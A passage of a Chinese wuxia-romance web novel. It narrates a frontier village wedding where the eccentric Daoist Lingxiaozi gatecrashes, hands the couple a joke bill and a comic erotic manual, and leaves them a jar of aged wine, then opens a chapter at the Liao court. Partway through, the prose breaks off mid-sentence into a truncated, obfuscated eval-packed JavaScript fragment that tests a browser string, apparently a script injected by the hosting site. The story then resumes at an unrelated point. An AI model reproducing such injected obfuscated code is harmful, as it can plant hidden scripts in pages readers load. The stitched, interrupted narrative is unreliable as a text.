就像……六年前,一线天崖底那个寒冷彻骨、绝望弥漫的雨夜,两个遍体鳞伤、奄奄一息的人,在漆黑的山洞里,靠着彼此的体温,分享着最后一口干粮,顽强地等待着哪怕一丝渺茫的生机时——所感受到的,那种最原始、最纯粹、也最让人心安的……温度与依靠。 只是此刻,他们不再是等待救赎的濒死之人。 而是即将携手,主动走向那片属于他们的、充满未知却也充满希望的——人间烟火,平凡归途。 10. 婚礼 暮色如最醇厚的陈年黄酒,渐次浸染了天边最后一抹挣扎的亮色,将这蜷缩在宋辽边境风沙线上的无名小村,温柔包裹进一片暖融橙红的光晕里。白日肆虐的风沙,此刻也似倦了,只余些微气流,轻拂着村中那几缕倔强升起的、笔直的炊烟,将它们拉成淡青色的袅娜丝带,融入渐浓的夜色。 村中唯一一片稍显宽敞的打谷场上,简陋却热闹非凡的婚宴,正值高潮。 几堆用枯枝、麦秸与干牛粪垒起的篝火,熊熊燃烧着,跳跃的橙红色火舌,贪婪地舔舐着愈发浓重的夜幕,将围坐四周的村民们那些被日晒风吹、刻满生活艰辛与此刻欢欣的面庞,映得一片酡红发亮,仿佛涂了一层亮晶晶的油彩。粗糙的、布满厚茧的手掌,随着不成调却极富生命力的山歌拍着大腿,发出“啪啪”的响声;掺了不少河水、寡淡却辣喉的村酿,在粗陶大碗中漾出廉价的、琥珀色的光泽,被一双双同样粗糙的手不断举起、碰撞、灌下喉咙。一切都透着一种属于边地生民的、劫后余生般的、原始而热烈的欢腾,仿佛要用这短暂的喧嚣与暖意,驱散生活中无尽的风沙、贫瘠与对未来战火的隐忧。 主桌就设在最大的那堆篝火旁。新郎与新娘并肩而坐,身上那套浆洗得发白、打着补丁却干净整齐的粗布“吉服”,在火光下显得异常醒目。两人脸上的笑容尚带着几分惊魂未定的羞涩、对未来的茫然,以及一丝掩饰不住的、对眼前这份来之不易的温暖与确定的珍视。新娘头上那顶褪色的红盖头早已掀开,露出一张并不算绝色、却清秀坚毅的面庞,眼角眉梢染着火光,亮晶晶的。 就在这喧嚣达到顶点、气氛最为热络之时—— “簌簌簌簌……” 头顶上,那座充当“宴厅”的、低矮破旧的茅草棚顶,那些本就稀疏、枯黄的陈年茅草,突然无风自动,纷纷扬扬地、打着旋儿飘落下来!几片枯草叶甚至飘进了篝火,发出“滋啦”的轻响,化作几点转瞬即逝的火星。 “哎哟!房顶漏啦?”“这破棚子!”席间顿时响起几声笑骂与小小的骚动,几个村民下意识地抬头去看。 下一刻! “呼——!” 一道灰扑扑、看不真切的身影,如同一只巨大的、姿态洒脱不羁的孤雁,又似一片毫无重量的枯叶,自那黑黢黢的、被火光映得忽明忽暗的棚顶阴影中,毫无征兆地、轻飘飘地——掠了下来! 动作看似不快,却带着一种奇异的、违背常理的从容与优雅,仿佛他不是从高处跃下,而是漫步走下一级无形的台阶。 “砰!” 一声并不沉重、却异常清晰的落地声。 不偏不倚,恰恰落在了主桌旁,那个不知是有意还是无意空出的、紧挨着新郎的座位(一截粗糙的树墩)上! 尘土微扬,带起一小股气流,拂动了桌上摇曳的油灯火苗。 来人站定,露出真容。 一身洗得发白、沾满各色油渍与旅途尘土、袖口与衣摆还打着好几块颜色不一的补丁的旧道袍。乱蓬蓬、如同被鸟儿筑过巢的花白头发,用一根枯黄的草茎随意挽在脑后,还翘起几缕不听话的发丝。一手拎着个硕大无朋、油光发亮、看着就沉甸甸的朱红酒葫芦;另一手竟然拎着个看起来约莫五六岁、正在奋力啃一只比他那张小脸还要大一圈的、油汪汪、香气四溢的肥嫩鸡腿的小童!小家伙嘴角、脸颊甚至鼻尖都沾满了亮晶晶的肉屑与油光,一双乌溜溜、灵动异常的大眼睛,正好奇地、毫不畏生地骨碌碌乱转,打量着周围陌生的人与热闹的场景。 正是凌霄子与刘朔! “哎哟喂!赶上了赶上了!紧赶慢赶,总算没错过这口热乎的!”凌霄子站稳身形,仿佛刚从邻村串门归来,或是在自家后院散了个步,脸上毫无半分擅闯他人婚宴的愧色与尴尬,反而一副“我来得正是时候、你们该感到荣幸”的得意与欣慰模样。 他也不客气,更不等主人招呼,目光一扫,随手就抄起桌上一坛刚开封不久、酒香混合着土腥气四溢的粗陶酒坛,掂了掂,“嗯,还行!”然后仰起脖子,对着坛口,“咕咚咕咚咕咚”就是一通毫不见外的豪饮!酒液如同小瀑布般倾泻而下,顺着他那乱蓬蓬的花白胡须淌下,浸湿了胸前本就油渍斑斑的衣襟,也让他袖口那些陈年累月积淀下来的、在火光跳动下闪烁着一种亮晶晶的、颇为滑稽却又让人印象深刻的光泽。 “噗哈——!好酒!够劲儿!”他猛地放下酒坛,用那只油腻腻的袖口随意地抹了把嘴,打了个响亮得能震飞屋檐下麻雀的酒嗝,声如洪钟,震得桌上那些粗陶碗碟都似乎微微一颤: “老道我云游四方,路过宝地,隔着三里地就闻见这股子冲天的喜气和醉人的酒香!这肚里的馋虫啊,挠得我心肝都痒痒!实在忍不住,特来讨杯喜酒喝喝!沾沾新人的福气、喜气!哈哈哈!” “哈哈哈!”“这道长有意思!”“喝!尽管喝!管够!”村民们先是一愣,被这从天而降的不速之客弄得有些懵,但随即就被他这副不请自来、自来熟到极点、豪爽得可爱的模样给彻底逗乐了,顿时爆发出一阵比刚才更加热烈、更加哄然的大笑与叫好声。边地民风淳朴彪悍,生存艰难,对礼数本就不甚讲究,对这等看似邋遢不羁、言行洒脱、浑身上下写满“奇人”二字的角色,反而有种天然的好感与亲近。紧张的气氛一扫而空,宴席更添几分意外的热闹。 笑声嘈杂中,凌霄子忽然抬起一只手,做了个“安静”的手势。奇怪的是,他那手势并不如何用力,甚至有些随意,但正在哄笑的村民们,竟然不由自主地、渐渐地安静了下来,目光都聚焦在他身上。 只见他脸上那玩世不恭的笑容一收,忽然换上一副极其夸张的、痛心疾首、仿佛心肝脾肺肾都在抽搐疼痛的表情,一只手还捂住了自己的胸口: “哎呀呀!糟了糟了!光顾着闻香喝酒,忘了大事!这喜宴,是不是得讲规矩,得给红包啊?”他眨巴着那双总是似醉非醉、朦胧惺忪,此刻却在火光映照下清亮得诡异、仿佛能洞悉人心的老眼,目光在新郎新娘和周围村民脸上扫过,“可是老道我……你们看看,看看我这一身!穷得叮当响,除了一身磕碜的道行和满肚子诚心诚意的祝福,实在是拿不出什么像样的物事啊!这可如何是好?如何是好哟!真是急煞我也!”那模样,活脱脱一个因为掏不出份子钱而焦急万分的穷亲戚。 “给祝福就行!”“道长您能来喝酒就是给面子!是咱们村的福气!”“不用红包!咱们不兴那个!”村民们笑得更欢,起哄声、劝慰声此起彼伏,气氛更加热络。 “那不行!那绝对不行!”凌霄子把头摇得像个拨浪鼓,花白的头发和胡须都跟着乱颤,一副“你们这是瞧不起我凌霄子、坏我规矩”的模样,“人情世故,礼不可废!再说了,我凌霄子走南闯北这么多年,蹭过的酒席没有一千也有八百,从来只有我让别人头疼的份,哪有白喝人家喜酒不给红包的道理?这要传出去,我这老脸还往哪搁?以后还怎么在江湖上…咳…在各地蹭吃蹭喝?不对,是云游!”他说得义正辞严,仿佛在维护什么不得了的江湖道义。 “可是道长您实在没有……”新郎是个憨厚的年轻人,搓着手,有些不好意思地说。 “没有?谁说没有?”凌霄子眼睛一瞪,忽然“嘿”了一声,“啪”地一拍自己大腿“我想起来了!” 只见他“不情不愿”、“磨磨蹭蹭”地伸手,在自己那件油渍麻花、看着就没几个口袋的破道袍里摸索起来。摸了左边摸右边,掏了上面掏下面,嘴里还嘀咕着“奇怪,明明放这儿了……”,表情认真得仿佛在寻找什么绝世珍宝。 就在众人都以为他在搞怪、忍不住又要笑出声时, 他忽然“咦”了一声,脸上露出“找到了”的惊喜,然后从怀里,掏出了两个叠得方方正正、用普通的、洗得有些发白的红布包着的小包裹。 “喏!长辈的一点心意!不成敬意,不成敬意!”他脸上那副“肉痛”的表情还没完全褪去,却已经换上了一副不容置疑的“长辈威严”面孔,声音再次拔高,如同洪钟大吕,清晰地传遍每一个角落: “拿着!新郎官,新娘子!这是老道我给你们新婚的贺礼!不许推辞!不要就是不给我凌霄子面子!不给我面子的人……”他故意拖长了音调,目光炯炯地扫视一圈,“老道我可是要生气的!生气了,就把你们村的酒都喝光!” “哈哈哈!”又是一阵大笑。新郎新娘面面相觑,在凌霄子那“威胁”加“期待”的目光下,只得接过那两个轻飘飘的、不知里面是什么的红布包,连连道谢。 “哎,这就对了嘛!”凌霄子顿时眉开眼笑,仿佛做成了一件了不得的大事。他转身,目光一扫桌上的菜肴,落在新娘面前那半只啃了一小半、油光红亮的烧鹅上。 “这鹅看着不错!”他说着,也不问人,伸手就将那半只烧鹅“抢”了过来,动作快得新娘都没反应过来。 “哧啦——!”他两手抓住鹅身,用力一撕!一只肥嫩流油、香气扑鼻的鹅腿,就被他干脆利落地撕了下来。 “臭小子!别光啃鸡腿了!来,尝尝这个!”他顺手就将那只热气腾腾的鹅腿,塞进了旁边还在努力跟鸡腿奋战的刘朔手里,替换下了那只已经被啃得差不多的鸡腿骨。 “这可是你爹娘的喜宴!”凌霄子拍了拍刘朔的后脑勺,嗓门依旧洪亮,说出的话却让不远处某张桌子旁的两道身影,几不可察地僵了一下。 “吃饱点!吃饱了,才有力气……”他凑到刘朔耳边,却用全场差不多都能听见的音量,挤眉弄眼地说: “……晚上好好闹洞房啊!哈哈哈!” “……”刘朔捧着那只比他手还大的鹅腿,眨巴着大眼睛,看看手里香喷喷的鹅腿,又看看师傅那张笑得见牙不见眼的老脸,再偷偷瞄了一眼远处那两个熟悉的身影,小嘴一咧,露出两颗尖尖的小虎牙,也跟着“嘿嘿”笑了起来,毫不客气地对着鹅腿就是一大口。 嗯,真香!比鸡腿还香! 刘朔努力咽下一大口鹅肉,油乎乎的小嘴还在咀嚼,忽然想起了什么,伸出那只同样油乎乎的小手,扯了扯身旁师傅那已经破了好几个洞、被他擦过无数次手的袖口。 “师傅……”他仰起小脸,一双乌溜溜的大眼睛里满是困惑,小眉头皱成了一团,像个小老头似的,用一种不解的、带着点委屈的语气,用其实并不太小的声音问道“别人家的爹娘……都是先拜堂成亲,穿得红红的,热热闹闹的,然后……然后才有娃娃的……” 他顿了顿,眼神里的困惑更深了,甚至带上了一丝不安,声音也更低了些,却依旧清晰可闻:“怎么我爹我娘……现在才……成亲啊?” “那……那我之前……”他憋了憋,似乎在想合适的词,最后吐出一个让不少人忍俊不禁、却又心头微涩的问题: “……算不算……野……野娃娃啊?” “……” 周围的嘈杂声,仿佛在这一刻又降低了几分。 邻桌几个正在喝酒划拳的村民,不由自主地竖起了耳朵,目光悄悄地瞟了过来,眼神里带着好奇、探究,以及一丝不易察觉的等待。孩童天真无邪、毫无遮掩的问题,有时恰恰是最锋利的刀,能剖开最深沉的隐痛与复杂。 远处,那张桌子旁,杨排风的身体微不可察地颤抖了一下,垂下了眼眸,手指无意识地攥紧了衣角。耶律皓南的背脊,则绷得更直了些,握着粗陶酒碗的手指,指节因用力而有些发白。 “哈哈哈哈哈哈!” 一阵爽朗、洪亮、甚至有些肆无忌惮的大笑声,骤然炸响,冲散了这短暂的、微妙的凝滞! 凌霄子仿佛听到了天底下最好笑的笑话,笑得前仰后合,眼泪都快出来了,花白的胡须跟着乱颤。他一伸手,像拎小鸡崽似的,一把将还在皱眉头的刘朔扛上了自己瘦削却异常稳固的肩头。 “傻小子!真是个傻小子!”他一边笑,一边用力拍了拍刘朔的屁股,拍得刘朔“哎哟”一声“谁告诉你,非得穿红戴绿、敲锣打鼓、拜那些死板的牌位,才算是成亲?才算是天地认可的夫妻?” 他收敛了几分笑意,但眼中的光芒却更亮了,仿佛有星辰在其中流转。他故意拔高了嗓门,声音清越,字字清晰,不仅是说给肩头的刘朔听,更是说给在场的每一个人听,目光还似有意似无意地扫过耶律皓南那微微泛红的耳根: “你爹你娘有你的那一夜——” “苍天为媒!厚土为证!” “洞外暴雨如擂万面天鼓,山川草木、雷霆闪电,皆是他们的宾客!” “那排场,那气势——”他拖长了音调,脸上露出一种近乎崇敬的、夸张的神情,“便是皇帝老儿的大婚,三媒六聘,凤冠霞帔,百官朝贺,万民跪拜——又怎能及得上万一?!” “那是天地在为他们的结合擂鼓助威!是大道在为他们的情意唱和见证!” 他话锋一转,语气中带上了一丝锐利的诘问与不屑,目光如电,扫过那些竖着耳朵的村民,最终仿佛落在虚空中某个不存在的、代表着世俗礼法的对象身上: “难道非要那汴京城里一纸冷冰冰的、盖着官印的婚书,才抵得过你爹娘在浩瀚天地、在生死关头、以血脉与生命相互交托、见证下的——誓言与牵绊?!” “荒唐!”最后两字,他吐出得斩钉截铁,带着一种不容置疑的、超越凡俗的力量。 “血脉相连,灵魂相依,这便是天地间最大的婚书!最重的誓约!” “你,刘朔,”他低下头,看着肩头已经听呆了的孩子,目光变得温和而深邃,“就是这份婚书上,最好的、最无可辩驳的——印记。” “所以,把你那小脑袋瓜里乱七八糟的念头都给我扔掉!”他又拍了刘朔一下,“好好吃你的鹅腿!你爹你娘的事,轮不到你这小屁孩操心,更轮不到那些不相干的规矩来说三道四!” “……”刘朔愣愣地看着师傅,又看看手里的鹅腿,似懂非懂,但师傅那斩钉截铁的语气和眼中那种令他安心的光芒,让他心头那点小小的不安和委屈,奇迹般地烟消云散了。他重重地“嗯”了一声,露出一个大大的、没心没肺的笑容,对着鹅腿又是一大口。 周围的村民们,面面相觑,眼中的好奇与探究渐渐化为一种恍然与敬畏。这位看似邋遢不羁的老道,说出的话,却仿佛蕴含着某种直指人心、超越世俗的道理,让人无法反驳,甚至心生认同。是啊,在这朝不保夕的边地,生死尚且难料,那些繁文缛节,那一纸婚书,真的那么重要吗?天地见证,血脉相连,或许……才是最真的。 远处,耶律皓南紧绷的背脊,悄然松弛了下来。他端起酒碗,将其中剩余的、冰凉的村酿,一饮而尽。烈酒入喉,带来一线灼热,却似乎……也驱散了某种积郁已久的寒意。他的耳根,依旧微红,但眼底深处,却掠过一丝极淡的、复杂的释然。 杨排风缓缓抬起眼,望向篝火旁那一老一少喧闹的身影,唇边,不知何时,已悄然漾开一抹极轻、极淡,却真实无比的笑意。眼中有水光微闪,却不再是悲伤。 凌霄子这番看似荒唐不经、插科打诨的“高论”,却以一种最直接、最粗犷、也最有力的方式,在这陌生的村庄、在这些朴素的村民面前,为他们那段不为世俗所容、充满血泪与坎坷的过往,“正了名”。不是以权势,不是以武力,而是以一种更接近天地本源、更贴近人心本真的“道”。 这便是凌霄子。 游戏人间的皮囊下,藏着的,是一颗洞悉世事、看透本质、行事不拘一格、却总能在最恰当的时机,以最出人意料的方式,点破迷障、抚平伤痕的——世外高人之心。 ______ 新房之内 待月亮升至中天,银辉如练,静静覆盖了这座渐渐沉寂下来的小村庄。喧嚣的婚宴已散,只余下几堆篝火余烬在夜风中明灭闪烁,发出细微的“噼啪”声。那对新人,在村民们的哄笑与祝福声中,回到了那间虽然简陋、却被布置得颇为温馨的新房。 这是一间典型的边地土坯房,墙壁厚实,窗户窄小。屋内陈设极简,一张铺着新弹芦花被褥的土炕,一张粗糙的木桌,两个树墩做的凳子。唯一的亮色,是窗台上那盏粗陶油灯,灯焰如豆,摇曳着昏黄温暖的光晕,将两人的身影投在斑驳的土墙上,拉得长长的,亲密地交叠在一起。 耶律皓南站在桌边,目光落在桌上那两个被凌霄子强塞过来的红布包上。他先拿起属于自己的那个。布包很轻,里面似乎只有一张折叠起来的纸。 他展开纸张。 借着昏黄的灯光,只见纸上以一种龙飞凤舞、狂放不羁、却又自成章法的笔迹,写满了字。抬头几个大字赫然是: “刘朔抚养费及相关开支清单(暂计)” 下面,便是一条条、一项项,列得清清楚楚、明明白白,甚至带着几分“专业”口吻的账目: “蟹黄毕罗(双份蟹膏,樊楼特供)——三百文” “驼蹄羹(炖足六时辰以上,蹄筋需糯)——二百五十文” “雪婴儿(冰屑须现从冰窖刮,不得有杂味)——一百八十文” “金齑玉鲙(鱼片薄如蝉翼)——一百二十文” “玲珑牡丹鲙(摆盘要精致)——一百五十文” “蜜煎金橘(雕成小兔子样)——六十文” “樱桃酪(浇西域蜂蜜)——八十文” “冰镇琼霜酒(一小瓮,樊楼秘制)——三百文” “炙驼峰(上次那块不错)——二百文” ……(以下还有若干零食、玩具、新衣、偶尔生病看郎中的费用,甚至还有“因师傅衣衫褴褛导致被小夥伴嘲笑的精神损失费”五十文……)…… 最后一项,尤其醒目,墨迹也更浓: “洞房听墙脚辛苦费(兼精神补偿,老道耳朵受累)——二百文” 所有项目后面,还有凌乱却明显是精心计算过的汇总数额。 在清单最下方,以更加狂放、几乎力透纸背的笔迹,写着一行附言,墨迹淋漓,仿佛能看到写字人那副理直气壮、敲竹杠的模样: “父债子偿,天经地义!以上款项,记得找——耶、律、皓、南——报销!” “(附:利息按月三分计,逾期不还,利滚利!)” “……”耶律皓南盯着手中这份荒唐至极的“抚养费清单”,嘴角不受控制地抽搐了一下。额角的青筋,似乎又有跳动的迹象。这老家伙……还真是……一点都不见外啊!连“洞房听墙脚”的费用都算进去了!还“利滚利”! 他无奈地摇了摇头,将清单折好,收入怀中。目光落在另一个红布包上——那是给杨排风的。 杨排风此时也好奇地拿起了属于自己的那个布包。布包稍厚,摸上去软中带硬,像是包着一本薄册子。 她解开系着的红绳,打开布包。 里面,静静地躺着一本以淡粉色细绢为封面、装帧颇为精致的小册子。册子不厚,但手感温润。 她疑惑地翻开第一页—— “轰!” 一股热血,瞬间冲上了她的脸颊、耳根,乃至脖颈!她的脸,在昏黄的灯光下,以肉眼可见的速度,变得通红,如同熟透了的虾子,又似抹了最浓的胭脂! 册子里,绘着的,赫然是——男女□□的春宫图! 然而,与寻常那些充满淫靡之气、笔触露骨的春宫图不同,这册子中的人物,线条圆润流畅,姿态自然而不显猥琐,面容甚至带着几分年画娃娃般的憨态可掬与喜庆,整体画风竟有几分……天真烂漫的意趣?只是所绘内容,实在是…… 更让她心跳如鼓、呼吸急促的是,在每一幅图的旁边,都以朱红的笔墨,写着密密麻麻的批注与说明。那字迹,正是凌霄子的! 第一页的批注最为醒目,写着: “华山秘传——阴阳和合双修诀” “此诀非寻常淫技,乃依天人感应、阴阳交泰之理所创。行功时,需心意相通,气机相引,以情为媒,以欲为筏,共渡彼岸。” “持之以恒,百日可见效。不仅可强身健体,延年益寿,更能于极乐浑融之际,引对方体内残存之天门阵反噬戾气、阴煞之力,化入阴阳循环,徐徐化解,润物无声。此乃以人伦之常,行祛病之实,大道也!” 在这段看似“正经”的批注最后,还有一行蝇头小字,字迹略显潦草,却透着一股戏谑与关切: “排风丫头,此册收好。若那块木头不解风情,或是矫情扭捏,你便拿此册敲他脑袋!就说是师叔我说的,这是治病救人的功课,不得耽误!哈哈!” “……”杨排风只觉得全身的血液都涌到了脸上,耳根烫得厉害,心脏“砰砰”狂跳,几乎要从嗓子眼里蹦出来。她手一抖,差点把册子扔出去。这……这师叔!也太……太胡闹了!哪有新婚之夜送这个的!还……还批注得这么…… “排风?”耶律皓南见她神色有异,耳根通红,身体僵硬,不由关切地走近。 “没、没什么!师叔胡闹的!”杨排风几乎是本能地,手忙脚乱地将册子合拢,看也不敢多看耶律皓南一眼,转身就将册子塞进了土炕上松软的芦花枕头底下,动作快得像是在藏什么违禁品。 做完这一切,她才稍稍松了口气,但脸上的红晕丝毫未褪,反而因为刚才的动作和心慌,更添了几分娇艳。她深吸一口气,试图平复心跳,转过头,对上耶律皓南探究的目光,强作镇定,但声音还是带着一丝不易察觉的颤抖和羞恼: “师叔胡闹,你、你也当真!”她瞪了他一眼,腮边的红晕浓得如同胭脂化开,在昏黄灯下别有一番惊心动魄的媚态。 耶律皓南看着她这副少见的小女儿羞态,心中微微一动,但更多的还是对师叔“礼物”的好奇。他走到炕边,伸手就要去拿那本被塞进枕下的册子。 “别看!”杨排风像只被踩了尾巴的猫,几乎要跳起来,伸手想拦。 但耶律皓南动作更快,已将册子拿在了手中。他并非有什么旖旎心思,只是直觉师叔此举必有深意,绝非单纯的“胡闹”。 他展开册子,目光落在那些朱红的批注上。起初,他也有些尴尬,但很快,他的神色就变得严肃起来,眉头微蹙,目光紧紧追随着批注的文字和图解中某些特定的经络走向标识。 “这功法……”他低声沉吟,指尖无意识地在册子的一处图解上轻轻划过,“……似与《紫微斗数》中记载的,以逆行经脉疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是桂圆红枣。”杨排风将那小包干果托在掌心,递到耶律皓南面前,声音柔和了许多,带着一丝笑意,“师叔藏的。” 耶律皓南的目光从图册上移开,落在她掌心那包干果上,微微一怔,随即也明白了其中寓意,冷硬的嘴角几不可察地软化了些许。他没说什么,只是伸出手,轻轻握住了她托着干果的手,连同那包干果一起,包裹在掌心。温暖干燥的触感传来,带着一种无声的承诺与温情。 就在这时—— “师傅!我爹娘怎没动静啊?”窗外,突然传来刘朔那清脆响亮、带着十足好奇与不耐烦的嚷嚷声,打破了夜的宁静。“里面黑乎乎的,是不是睡着了?” 紧接着,是凌霄子那明显压抑着、却依旧能听出促狭意味的闷笑声,隔着窗户纸模糊传来:“嘘——傻小子!你爹娘在……在练功呢!很重要的内功,不能打扰!” “练功?练什么功要关着灯?”刘朔显然不信。 “这个嘛……嘿嘿,”凌霄子的声音压得更低,却带着一种“传授独家秘笈”的神秘感,“师傅教你一招,保管他们‘练功’练得更起劲——你去找个小炮仗,悄悄塞他们窗户缝里,一点……” “胡闹!”屋内的耶律皓南听到这里,眉头一皱,低喝一声。他可不敢真让那混世小魔王听了师叔的“馊主意”。 话音未落,他袍袖一拂,一股柔和却精准的罡气掠出,“噗”地一声,精准地打灭了桌上那盏唯一亮着的油灯。 顿时,屋内陷入一片完完全全、伸手不见五指的黑暗。 “呀!”杨排风低低惊呼一声,视觉的骤然丧失让她下意识地绷紧了身体。 黑暗放大了其他感官。她能清晰地听到自己骤然加速的心跳,能闻到空气中残留的淡淡烟火气、泥土味,以及身边人身上传来的、混合了皂角清冽与一丝独有冷冽气息的味道。 就在这全然的黑暗与寂静中,两人的手背,在炕沿边,不经意地、轻轻地碰触到了一起。 冰凉与微温的肌肤相触。 俱是微微一颤。 随即,几乎是同时,两人都从喉间溢出一声极低、极轻的笑。那笑声里,有无奈,有尴尬,有对窗外那一老一少胡闹的哭笑不得,更有一种在经历了太多风雨坎坷、生死离别后,终于能在此刻、此地,拥有片刻宁静与独处时,心照不宣的释然与亲近。 杨排风循着那笑声和气息的来源,轻轻地、试探着,将额头靠了过去,抵在了一个坚实而温暖的肩头。那是耶律皓南的肩膀。 “这闹的……”她的声音低得像蚊蚋,带着笑意和一丝如释重负的慵懒,气息轻轻拂过他的颈侧,“倒比汴京那些……凤冠霞帔、三跪九叩的繁文缛礼……自在多了。” 没有宾客满堂的应酬,没有繁琐仪式的束缚,没有各方势力的窥探与算计。只有这间简陋的土屋,窗外偶尔传来的虫鸣,远处依稀的犬吠,以及……身边这个终于肯放下一切枷锁、愿意以最真实面目与她相守的人。 耶律皓南没有回答,只是伸出手臂,轻轻揽住了她的肩。黑暗中,他的目光仿佛能穿透屋顶,望向无垠的夜空。是啊,自在。这份简陋到极致、甚至带着荒诞闹剧的“婚礼”,却让他感受到了从未有过的轻松与真实。那些他曾汲汲营营的权柄、仇恨、复国迷梦,在此刻这平凡真实的温暖面前,显得如此虚无与遥远。 窗外,刘朔似乎被凌霄子用什么法子哄走了,隐隐约约还传来小家伙不满的嘟囔和凌霄子“明日带你去集上买糖堆”的许诺声,渐渐远去。 夜色温柔,将这座边境小村和屋内这对历经磨难的新人,一起拥入宁静的怀抱。 ______ 晨曦微露,鱼肚白的天光怯生生地探进简陋的窗棂,驱散了屋内最后一丝黑暗。土炕上,杨排风睫毛颤了颤,缓缓睁开眼。身边是耶律皓南平稳绵长的呼吸声,他似乎还在浅眠,眉心那点紫微星印在晨光中泛着极淡的柔和光晕。 她轻手轻脚地起身,走到窗边,想透口气。目光落在窗台上时,却忽然定住了。 窗台外,不知何时,多了一样东西。 是一坛酒。 酒坛不大,约莫尺许高,以寻常的黄泥密封,泥封看起来已有些年头,颜色沉暗。坛身沾着些许未干的泥土和晨露,显然是刚从地下起出不久。最引人注目的是坛身上贴着的一张红纸,纸上以狂放不羁、力透纸背的草书,写着两个大字: “女儿红”。 字迹飞扬跋扈,一如其人。 耶律皓南不知何时也已醒来,走到了她身后。他的目光落在那坛酒上,瞳孔微微一缩。他认得这字迹,也……隐约猜到了这酒的来历。 他伸手,将酒坛捧了进来。酒坛沉甸甸的,泥封完好。在坛口的泥封上,他看到了几行以指甲或是极细的刻刀,深深镌刻上去的、蝇头小楷般的字迹: “臭小子:此酒,乃二十年前,老道我途经杭州,顺…咳…买下的一坛上好女儿红。本想埋在华山老槐下,等我那不知在哪投胎的徒孙女出阁时挖出来喝。” “没想到,徒孙女还没影,倒先便宜了你这块木头!” “此酒赐你,好生收着。待你闺女出阁那日,再开封与亲家共饮。” “莫学你师叔我一辈子打光棍,也——莫学你自己,连累好姑娘苦等整整六年!” “切记,切记!” “——凌霄子,于你大婚前夜,对月独酌时留。” “……” 耶律皓南握着酒坛的手,指节微微泛白。他仿佛能看到,昨夜,在他们于这简陋新房中安寝时,那个总是嬉笑怒骂、没个正形的老道,独自一人,对着一轮孤月,挖出这坛埋藏了二十年的陈酿。他是怀着怎样的心情,刻下这些字?是调侃?是嘱托?还是……一种前所未有的、深沉的期许与祝福? 杨排风从他手中接过酒坛,抱在怀里。酒坛冰凉沉重,却让她的心口滚烫。她的手指,轻轻抚过泥封上那些刻痕,尤其是“莫学你自己,连累好姑娘苦等整整六年”那一行,手指不受控制地……微微颤抖起来。 眼泪毫无征兆地,再次涌上眼眶,大颗大颗地滴落,砸在粗糙的泥封上,晕开一小片深色的湿痕。 她忽然懂了。 全懂了。 师叔这一夜的所有“胡闹”— 从天而降大闹婚宴,以那番“天地为媒、血脉相连”的惊世之论,在众人面前为他们“正名”,化解刘朔心结,也抚平他们自己心中因“无媒苟合”而生的那一丝隐痛与遗憾; 到那份看似荒唐至极、充满敲竹杠意味的“抚养费清单”,实则是在用最直白甚至粗暴的方式,逼耶律皓南正视自己“父亲”的身份与责任,将那虚无缥缈的复国大业、家国恩仇,拉回到最实际的——养家糊口、抚育幼子的人间烟火之中; 再到那本让人面红耳赤、却暗藏玄机的“春宫图册”,表面是戏弄,内里却是煞费苦心、以一种极为特别的方式,赠予他们化解反噬、双双受益的功法机缘,同时也是在促成他们夫妻之间最亲密无间的联系与信任; 还有窗外教唆刘朔“塞炮仗”的玩笑,分明是在用他独有的方式,打破这对历经沧桑、心有千千结的新人之间可能存在的最后一丝尴尬与矜持,让他们在笑闹与无奈中真正放松下来,接纳彼此; 直到眼前这坛沉甸甸的、埋藏了二十年的“女儿红”…… 这哪里是一坛普通的酒? 这分明是一份沉甸甸的、跨越了二十年光阴的——期许,祝福,与……嘱托。 嘱托他们,好好过日子,珍惜眼前人,养育好下一代,莫要再重复往日的遗憾与悲剧。 师叔他……是在用自己的方式,把那些压得人喘不过气的家国血仇、前尘罪孽、复国执念……统统熬进了这一夜的喧嚣、玩笑、温情与烟火气里,熬成了一锅最平凡、也最珍贵的——人间滋味。 他要耶律皓南明白,活着,不只是为了复仇与执念,更是为了身边的人,为了柴米油盐,为了儿女绕膝,为了这坛需要用漫长岁月去等待、去酝酿、最终在适当的时机开启共享的——“女儿红”。 “原来……是这样……” 杨排风抱紧了酒坛,将脸颊轻轻贴在冰凉的坛身上,泪水无声滑落,嘴角却努力扬起一个带泪的、明亮的笑容。 窗外,晨光越发明亮,村中已有早起的人家开始生火做饭,炊烟再次袅袅升起,混合着鸡鸣犬吠,交织成一幅充满生机的边地晨景。 耶律皓南伸出手,将杨排风连同她怀中的酒坛,一起轻轻揽入怀中。他的目光也落在那坛酒上,眼中波澜起伏,最终归于一片深沉的宁静与了然。 是啊。 师叔的深意,他此刻,也终于完全明白了。 从今往后,他不再只是耶律皓南,不再是北汉皇孙,不再是辽国国师。 他是刘皓南,是杨排风的丈夫,是刘朔的父亲,或许……将来也会是某个小女孩的父亲。 他的责任,他的道,他的归途,就在这滚滚红尘、芸芸众生、柴米油盐、妻儿笑语之中。 而这一切的开始,便是这个在边境荒村中,被一个没个正形的老道,用最荒诞不经却又最用心良苦的方式,“闹”出来的——简单、温馨、充满了人间烟火气与深沉期许的……婚礼。 11. 辽主的算计 辽国上京,皇宫,夜。 “崇元殿” 内,琉璃灯盏如同坠落人间的星群,密密麻麻缀满高阔的穹顶,每一盏皆以七彩琉璃精工烧制,内嵌南海夜明珠,光华流转,炽烈如正午骄阳,将这座象征辽国最高权力核心的殿堂映照得金碧辉煌,纤毫毕现,恍如神国白昼。四壁巨大的鎏金蟠龙柱、织金壁衣、象牙雕屏,在如此强光下反射出冰冷坚硬、令人不敢逼视的富贵与威严,却也无情地照亮了每一张面孔下可能隐藏的算计与忐忑。 十二座狰狞的鎏金兽首铜炉分列大殿两侧,炉中燃烧着价比黄金的极品龙涎香,浓郁到化不开的白色烟雾袅袅升腾,试图织就一层柔和的、隔绝窥探的薄纱,掩盖殿中涌动的暗流。然而,这甜腻馥郁的香气,却压不住那丝竹管弦刻意营造的靡靡之音下,无声流淌、无处不在的——紧绷、试探、杀机。 辽国皇帝,耶律宗真,高踞于九级汉白玉台阶之上的鎏金蟠龙御座。他未着正式的冕旒朝服,只一身赭黄色的常服,但那常服的每一道纹路,每一寸面料,都透着皇室独有的尊贵与疏离。他身形并不高大,甚至有些文弱,但端坐在那至高的御座上,自然便有一股渊渟岳峙、掌控一切的帝王气度**。 